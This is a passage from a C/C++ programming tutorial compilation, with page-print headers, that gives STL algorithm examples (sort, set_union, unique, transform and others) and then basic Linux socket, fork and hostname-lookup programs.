vector <int>vec2a(vec1a), vec2b(vec1b), vec2(vec1);
vector <int>::iterator Iter2a, Iter2b, Iter2, Result2;
sort(vec2a.begin(), vec2a.end(), greater<int>());
sort(vec2b.begin(), vec2b.end(), greater<int>());

cout<<"\nOriginal vector vec2a with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec2b with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;

//Constructing vectors vec3a & vec3b with ranges sorted by mod_lesser()


vector <int>vec3a(vec1a), vec3b(vec1b), vec3(vec1);
vector <int>::iterator Iter3a, Iter3b, Iter3, Result3;
sort(vec3a.begin(), vec3a.end(), mod_lesser);
sort(vec3b.begin(), vec3b.end(), mod_lesser);

cout<<"\nOriginal vector vec3a with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec3b with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3b = vec3b.begin(); Iter3b != vec3b.end(); Iter3b++)
cout<<*Iter3b<<" ";
cout<<endl;

//To combine into a union in ascending order with the default


//binary predicate less <int>()
Result1 = set_union(vec1a.begin(), vec1a.end(),
vec1b.begin(), vec1b.end(), vec1.begin());
cout<<"\nset_union() of source ranges with default order,"
<<"\nvector vec1mod: ";
for(Iter1 = vec1.begin(); Iter1 != Result1; Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

file:///C|/Tutorial.txt (591 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//To combine into a union in descending order, specify binary


//predicate greater<int>()
Result2 = set_union(vec2a.begin(), vec2a.end(),
vec2b.begin(), vec2b.end(), vec2.begin(), greater<int>());
cout<<"\nset_union() of source ranges with binary predicate greater\n"
<<"specified, vector vec2mod: ";
for(Iter2 = vec2.begin(); Iter2 != Result2; Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To combine into a union applying a user-defined


//binary predicate mod_lesser
Result3 = set_union(vec3a.begin(), vec3a.end(),
vec3b.begin(), vec3b.end(), vec3.begin(), mod_lesser);
cout<<"\nset_union() of source ranges with binary predicate\n"
<<"mod_lesser() specified, vector vec3mod: ";
for(Iter3 = vec3.begin(); Iter3 != Result3; Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether first element is greater than the second


bool userdefgreater(int elem1, int elem2)
{return elem1 > elem2;}

int main()
{
vector <int> vec1; //container
vector <int>::iterator Iter1; //iterator

int k;
for(k = 0; k <= 15; k++)
vec1.push_back(k);

random_shuffle(vec1.begin(), vec1.end());

cout<<"Original random shuffle vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

sort(vec1.begin(), vec1.end());
cout<<"\nSorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";

file:///C|/Tutorial.txt (592 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<endl;

//To sort in descending order, specify binary predicate


sort(vec1.begin(), vec1.end(), greater<int>());
cout<<"\nRe sorted (greater) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//A user-defined binary predicate can also be used


sort(vec1.begin(), vec1.end(), userdefgreater);
cout<<"\nUser defined re sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, sort_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);

random_shuffle(vec1.begin(), vec1.end());

cout<<"Random shuffle vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Sort heap vec1 with default less-than ordering


sort_heap(vec1.begin(), vec1.end());
cout<<"\nThe sorted heap vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec1 a heap with greater than ordering


make_heap(vec1.begin(), vec1.end(), greater<int>());
cout<<"\nThe greater than heaped version of vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

file:///C|/Tutorial.txt (593 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

sort_heap(vec1.begin(), vec1.end(), greater<int>());


cout<<"\nThe greater than sorted heap vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, stable_partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool greaterthan(int value )


{ return value > 5;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2, result;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 4; j++)
vec1.push_back(3);

random_shuffle(vec1.begin(), vec1.end());

cout<<"Random shuffle vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Partition the range with predicate greater than 5...


result = stable_partition (vec1.begin(), vec1.end(), greaterthan);
cout<<"\nThe partitioned set of elements in vec1 is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nThe first element in vec1 fail to satisfy the"


<<"\npredicate greaterthan is:\n "<<*result<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, stable_sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>

file:///C|/Tutorial.txt (594 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

//Return whether first element is greater than the second


bool userdefgreater(int elem1, int elem2)
{ return elem1 > elem2;}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

for (int i=10; i<=20; i++)


vec1.push_back(i);

random_shuffle(vec1.begin(), vec1.end());
cout<<"Random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

sort(vec1.begin(), vec1.end());
cout<<"\nDefault sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To sort in descending order, specify binary predicate


sort(vec1.begin(), vec1.end(), greater<int>());
cout<<"\nRe-sorted (greater) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//A user-defined binary predicate can also be used


sort(vec1.begin(), vec1.end(), userdefgreater);
cout<<"\nUser defined re-sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, swap()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool greaterthan(int value)


{return value > 5;}

int main()
{
vector <int> vec1, vec2;

file:///C|/Tutorial.txt (595 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vector <int>::iterator Iter1, Iter2, result;

int i;
for(i = 10; i<= 20; i++)
vec1.push_back(i);

int j;
for(j = 10; j <= 15; j++)
vec2.push_back(j);

cout<<"Vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nVector vec2 data is:\n";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

swap(vec1, vec2);

cout<<"\nNow, vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nThen, vector vec2 data is:\n";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, swap_ranges()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
deque <int> deq1;
vector <int>::iterator vec1Iter1;
deque<int>::iterator deq1Iter;

int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);

int j;
for(j =24; j <= 29; j++)
deq1.push_back(j);

file:///C|/Tutorial.txt (596 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"Vector vec1 data:\n";


for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1<<" ";
cout<<endl;

cout<<"\nDeque deq1 data:\n";


for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;

swap_ranges(vec1.begin(), vec1.end(), deq1.begin());

cout<<"\nAfter the swap_range(), vector vec1 data:\n";


for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1<<" ";
cout<<endl;

cout<<"\nAfter the swap_range() deque deq1 data:\n";


for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, transform()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

//The function object multiplies an element by a Factor


template <class Type>
class MultValue
{
private:
//The value to multiply by
Type Factor;
public:
//Constructor initializes the value to multiply by
MultValue(const Type& _Val) : Factor(_Val) {}

//The function call for the element to be multiplied


int operator()(Type& elem) const
{return (elem * Factor);}
};

int main()
{
vector <int> vec1, vec2(7), vec3(7);
vector <int>::iterator Iter1, Iter2, Iter3;

//Constructing vector vec1


for(int i = -4; i <= 2; i++)

file:///C|/Tutorial.txt (597 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vec1.push_back(i);

cout<<"Original vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Modifying the vector vec1 in place


transform(vec1.begin(), vec1.end(), vec1.begin(), MultValue<int>(2));
cout<<"\nThe elements of the vector vec1 multiplied by 2 in place gives:"
<<"\nvec1mod data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Using transform() to multiply each element by a factor of 5


transform(vec1.begin(), vec1.end(), vec2.begin(), MultValue<int>(5));

cout<<"\nMultiplying the elements of the vector vec1mod\n"


<<"by the factor 5 & copying to vec2 gives:\nvec2 data: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//The second version of transform used to multiply the


//elements of the vectors vec1mod & vec2 pairwise
transform(vec1.begin(), vec1.end(), vec2.begin(), vec3.begin(),
multiplies<int>());

cout<<"\nMultiplying elements of the vectors vec1mod and vec2 pairwise "


<<"gives:\nvec3 data: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, unique()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is equal to modulus of elem2


bool mod_equal(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 == elem2);
};

int main()

file:///C|/Tutorial.txt (598 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
vector <int> vec1;
vector <int>::iterator vec1_Iter1, vec1_Iter2, vec1_Iter3,
vec1_NewEnd1, vec1_NewEnd2, vec1_NewEnd3;

int i;
for(i = 0; i <= 3; i++)
{
vec1.push_back(4);
vec1.push_back(-4);
}

int j;
for(j = 1; j <= 4; j++)
vec1.push_back(8);

vec1.push_back(9);
vec1.push_back(9);

cout<<"Vector vec1 data:\n";


for(vec1_Iter1 = vec1.begin(); vec1_Iter1 != vec1.end(); vec1_Iter1++)
cout<<*vec1_Iter1<<" ";
cout<<endl;

//Remove consecutive duplicates


vec1_NewEnd1 = unique(vec1.begin(), vec1.end());

cout<<"\nRemoving adjacent duplicates from vector vec1 gives:\n";


for(vec1_Iter1 = vec1.begin(); vec1_Iter1 != vec1_NewEnd1; vec1_Iter1++)
cout<<*vec1_Iter1<<" ";
cout<<endl;

//Remove consecutive duplicates under the binary predicate mod_equal()


vec1_NewEnd2 = unique(vec1.begin(), vec1_NewEnd1, mod_equal);

cout<<"\nRemoving adjacent duplicates from vector vec1 under\nthe"


<<"binary predicate mod_equal() gives:\n";
for(vec1_Iter2 = vec1.begin(); vec1_Iter2 != vec1_NewEnd2; vec1_Iter2++)
cout<<*vec1_Iter2<<" ";
cout<<endl;

//Remove elements if preceded by an element that was greater


vec1_NewEnd3 = unique(vec1.begin(), vec1_NewEnd2, greater<int>());

cout<<"\nRemoving adjacent elements satisfying the binary\n"


<<"predicate mod_equal() from vector vec1 gives:\n";
for(vec1_Iter3 = vec1.begin(); vec1_Iter3 != vec1_NewEnd3; vec1_Iter3++)
cout<<*vec1_Iter3<<" ";
cout<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, unique_copy()
#include <vector>
#include <algorithm>

file:///C|/Tutorial.txt (599 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is equal to modulus of elem2


bool mod_equal(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 == elem2);
};

int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter1, vec1_Iter2,
vec1_NewEnd1, vec1_NewEnd2;

int i;
for(i = 0; i <= 1; i++)
{
vec1.push_back(8);
vec1.push_back(-8);
}

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);

vec1.push_back(9);
vec1.push_back(9);

int k;
for(k = 0; k <= 5; k++)
vec1.push_back(12);

cout<<"Vector vec1 data is:\n";


for(vec1_Iter1 = vec1.begin(); vec1_Iter1 != vec1.end(); vec1_Iter1++)
cout<<*vec1_Iter1<<" ";
cout<<endl;

//Copy first half to second, removing consecutive duplicates


vec1_NewEnd1 = unique_copy(vec1.begin(), vec1.begin() + 8, vec1.begin() + 8);

cout<<"\nCopying the first half of the vector to the second half\n"


<<"while removing adjacent duplicates gives:\n";
for(vec1_Iter1 = vec1.begin(); vec1_Iter1 != vec1_NewEnd1; vec1_Iter1++)
cout<<*vec1_Iter1<<" ";
cout<<endl;

for(int l = 0; l <= 7; l++)


vec1.push_back(10);

//Remove consecutive duplicates under the binary predicate mod_equals

file:///C|/Tutorial.txt (600 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vec1_NewEnd2 = unique_copy(vec1.begin(), vec1.begin() + 14, vec1.begin() + 14, mod_equal);

cout<<"\nCopying the first half of the vector to the second half\n"


<<"removing adjacent duplicates under mod_equal() gives\n";
for(vec1_Iter2 = vec1.begin(); vec1_Iter2 != vec1_NewEnd2; vec1_Iter2++)
cout<<*vec1_Iter2<<" ";
cout<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, upper_bound()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less-than ordering


for(int i = -2; i <= 4; i++)
vec1.push_back(i);

for(int j = -3; j <= 0; j++)


vec1.push_back(j);

sort(vec1.begin(), vec1.end());
cout<<"Original vector vec1 data with range\nsorted by the"
<<" binary predicate less than is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Constructing vectors vec2 with range sorted by greater


vector <int> vec2(vec1);
vector <int>::iterator Iter2, Result2;
sort(vec2.begin(), vec2.end(), greater<int>());

cout<<"\nOriginal vector vec2 data with range\nsorted by the"


<<" binary predicate greater is:\n";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)

file:///C|/Tutorial.txt (601 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<*Iter2<<" ";
cout<<endl;

//Constructing vectors vec3 with range sorted by mod_lesser


vector <int>vec3(vec1);
vector <int>::iterator Iter3, Result3;
sort(vec3.begin(), vec3.end(), mod_lesser);

cout<<"\nOriginal vector vec3 data with range\nsorted by the"


<<" binary predicate mod_lesser is:\n";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

//upper_bound of -3 in vec1 with default binary predicate less <int>()


Result1 = upper_bound(vec1.begin(), vec1.end(), -3);
cout<<"\nThe upper_bound in vec1 for the element with a value of -3 is: "
<<*Result1<<endl;

//upper_bound of 2 in vec2 with the binary predicate greater <int>()


Result2 = upper_bound(vec2.begin(), vec2.end(), 2, greater<int>());
cout<<"\nThe upper_bound in vec2 for the element with a value of 2 is: "
<<*Result2<<endl;

//upper_bound of 3 in vec3 with the binary predicate mod_lesser


Result3 = upper_bound(vec3.begin(), vec3.end(), 3, mod_lesser);
cout<<"\nThe upper_bound in vec3 for the element with a value of 3 is: "
<<*Result3<<endl;
}

-------------------------------------G++ on Linux/Fedora----------------------------------------------

//******algosort.cpp*********
//algorithm, sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether first element is greater than the second


bool userdefgreater(int elem1, int elem2)
{return elem1 > elem2;}

int main()
{
vector <int> vec1; //container
vector <int>::iterator Iter1; //iterator

int k;
for(k = 0; k <= 15; k++)
vec1.push_back(k);

random_shuffle(vec1.begin(), vec1.end());

file:///C|/Tutorial.txt (602 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"Original random shuffle vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

sort(vec1.begin(), vec1.end());
cout<<"\nSorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To sort in descending order, specify binary predicate


sort(vec1.begin(), vec1.end(), greater<int>());
cout<<"\nRe sorted (greater) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//A user-defined binary predicate can also be used


sort(vec1.begin(), vec1.end(), userdefgreater);
cout<<"\nUser defined re sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

============================MODULE38=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}

file:///C|/Tutorial.txt (603 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//function object example


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;

//simple function object that prints the passed argument


class PrintSomething
{
public:
void operator() (int elem) const
{
cout<<elem<<' ';
}
};

int main()
{
vector<int> vec;
//insert elements from 1 to 10
for(int i=1; i<=10; ++i)
vec.push_back(i);

//print all elements


for_each (vec.begin(), vec.end(), //range
PrintSomething()); //operation
cout<<endl;
}

==============================MODULE39=====================================
| |
| The program examples' source codes have been arranged in the same |

file:///C|/Tutorial.txt (604 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| order that appeared in the Tutorial. This is unedited and unverified |


| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using gcc on Linux/Fedora Core 3 machine...

/*testpid.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

int main (int argc, char **argv)


{
int i, pid;
pid = fork();

printf("Forking...the pid: %d\n", pid);


for (i = 0; i < 5; i++)
printf(" %d %d\n", i, getpid());
if (pid)
wait(NULL);
return 0;
}

----------------------------------------------------------------------------

#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define MYPORT 3334

int main()
{
int sockfd; /*socket file descriptor*/
struct sockaddr_in my_addr;

sockfd = socket(AF_INET, SOCK_STREAM, 0);


if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("Server-socket() error lol!");
exit(1);
}
else
printf("Server-socket() sockfd is OK...\n");

file:///C|/Tutorial.txt (605 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/* host byte order */


my_addr.sin_family = AF_INET;
/* short, network byte order */
my_addr.sin_port = htons(MYPORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
/* zero the rest of the struct */
memset(&(my_addr.sin_zero), 0, 8);

if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)


{
perror("Server-bind() error lol!");
exit(1);
}
else
printf("Server-bind() is OK...\n");

/*....other codes....*/

return 0;
}

---------------------------------------------------------------------------------------------

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define DEST_IP "127.0.0.1"


#define DEST_PORT 80

int main(int argc, char *argv[])


{
int sockfd;
/* will hold the destination addr */
struct sockaddr_in dest_addr;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if(sockfd == -1)
{
perror("Client-socket() error lol!");
exit(1);
}
else
printf("Client-socket() sockfd is OK...\n");

/* host byte order */


dest_addr.sin_family = AF_INET;
/* short, network byte order */
dest_addr.sin_port = htons(DEST_PORT);
dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);

/* zero the rest of the struct */


memset(&(dest_addr.sin_zero), 0, 8);

file:///C|/Tutorial.txt (606 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if(connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1)


{
perror("Client-connect() error lol");
exit(1);
}
else
printf("Client-connect() is OK...\n");

/*...other codes...*/

return 0;
}

--------------------------------------------------------------------------------------------

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

/*the port users will be connecting to*/


#define MYPORT 3440
/* how many pending connections queue will hold */
#define BACKLOG 10

int main()
{
/* listen on sock_fd, new connection on new_fd */
int sockfd, new_fd;
/* my address information, address where I run this program */
struct sockaddr_in my_addr;
/* remote address information */
struct sockaddr_in their_addr;
int sin_size;

sockfd = socket(AF_INET, SOCK_STREAM, 0);


if(sockfd == -1)
{
perror("socket() error lol!");
exit(1);
}
else
printf("socket() is OK...\n");

/* host byte order */


my_addr.sin_family = AF_INET;
/* short, network byte order */
my_addr.sin_port = htons(MYPORT);
/* auto-fill with my IP */
my_addr.sin_addr.s_addr = INADDR_ANY;

/* zero the rest of the struct */


memset(&(my_addr.sin_zero), 0, 8);

if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)

file:///C|/Tutorial.txt (607 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
perror("bind() error lol!");
exit(1);
}
else
printf("bind() is OK...\n");

if(listen(sockfd, BACKLOG) == -1)


{
perror("listen() error lol!");
exit(1);
}
else
printf("listen() is OK...\n");

/* ...other codes to read the received data... */

sin_size = sizeof(struct sockaddr_in);


new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size);

if(new_fd == -1)
perror("accept() error lol!");
else
printf("accept() is OK...\n");

/*.....other codes.......*/

close(new_fd);
close(sockfd);
return 0;
}

==============================MODULE40=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using gcc on Linux/Fedora Core 3 machine...

/*****getipaddr.c ******/
/****a hostname lookup program example******/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

file:///C|/Tutorial.txt (608 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int argc, char *argv[])


{
struct hostent *h;

/*error check the command line*/


if(argc != 2)
{
fprintf(stderr, "Usage: %s <domain_name>\n", argv[0]);
exit(1);
}

/*get the host info*/


if((h=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname(): ");
exit(1);
}
else
printf("gethostbyname() is OK.\n");

printf("The host name is: %s\n", h->h_name);


printf("The IP Address is: %s\n", inet_ntoa(*((struct in_addr *)h->h_addr)));
printf("The address length is: %d\n", h->h_length);

printf("Sniffing other names...sniff...sniff...sniff...\n");


int j = 0;
do
{
printf("An alias #%d is: %s\n", j, h->h_aliases[j]);
j++;
}
while(h->h_aliases[j] != NULL);

printf("Sniffing other IPs...sniff....sniff...sniff...\n");


int i = 0;
do
{
printf("Address #%i is: %s\n", i, inet_ntoa(*((struct in_addr *)(h->h_addr_list[i]))));
i++;
}
while(h->h_addr_list[i] != NULL);
return 0;
}

-----------------------------------------------------------------------------------------------

/*serverprog.c - a stream socket server demo*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

file:///C|/Tutorial.txt (609 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

/* the port users will be connecting to */


#define MYPORT 3490
/* how many pending connections queue will hold */
#define BACKLOG 10

void sigchld_handler(int s)
{
while(wait(NULL) > 0);
}

int main(int argc, char *argv[])


{
/*listen on sock_fd, new connection on new_fd*/
int sockfd, new_fd;
/*my address information*/
struct sockaddr_in my_addr;
/*connector’s address information*/
struct sockaddr_in their_addr;
int sin_size;
struct sigaction sa;
int yes = 1;

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)


{
perror("Server-socket() error lol!");
exit(1);
}
else
printf("Server-socket() sockfd is OK...\n");

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)


{
perror("Server-setsockopt() error lol!");
exit(1);
}
else
printf("Server-setsockopt is OK...\n");

/* host byte order*/


my_addr.sin_family = AF_INET;
/* short, network byte order*/
my_addr.sin_port = htons(MYPORT);
/* automatically fill with my IP*/
my_addr.sin_addr.s_addr = INADDR_ANY;

printf("Server-Using %s and port %d...\n", inet_ntoa(my_addr.sin_addr), MYPORT);

file:///C|/Tutorial.txt (610 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/* zero the rest of the struct*/


memset(&(my_addr.sin_zero), '\0', 8);

if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)


{
perror("Server-bind() error");
exit(1);
}
else
printf("Server-bind() is OK...\n");

